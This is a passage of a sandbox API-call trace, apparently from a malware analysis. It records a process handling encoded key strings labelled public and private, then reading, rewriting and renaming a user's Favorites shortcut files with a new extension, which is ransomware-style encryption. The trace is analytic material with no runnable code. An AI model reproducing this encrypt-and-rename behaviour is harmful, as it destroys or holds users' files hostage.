dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.301] GetCurrentThreadId () returned 0xa30 [0125.301] GetCurrentThreadId () returned 0xa30 [0125.302] GetCurrentThreadId () returned 0xa30 [0125.302] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.302] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.302] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.302] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.302] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.302] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.305] CloseHandle (hObject=0x1ec) returned 1 [0125.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.308] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.310] CloseHandle (hObject=0x1ec) returned 1 [0125.310] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.zv7un")) returned 1 [0125.311] GetCurrentThreadId () returned 0xa30 [0125.311] GetCurrentThreadId () returned 0xa30 [0125.311] GetCurrentThreadId () returned 0xa30 [0125.311] GetCurrentThreadId () returned 0xa30 [0125.312] GetCurrentThreadId () returned 0xa30 [0125.312] GetCurrentThreadId () returned 0xa30 [0125.312] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0125.312] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.312] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.312] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0125.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url")) returned 0x20 [0125.314] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", dwFileAttributes=0x80) returned 1 [0125.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.318] GetCurrentThreadId () returned 0xa30 [0125.318] GetCurrentThreadId () returned 0xa30 [0125.318] GetCurrentThreadId () returned 0xa30 [0125.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.319] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.319] GetCurrentThreadId () returned 0xa30 [0125.319] GetCurrentThreadId () returned 0xa30 [0125.319] GetCurrentThreadId () returned 0xa30 [0125.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.320] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.320] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, 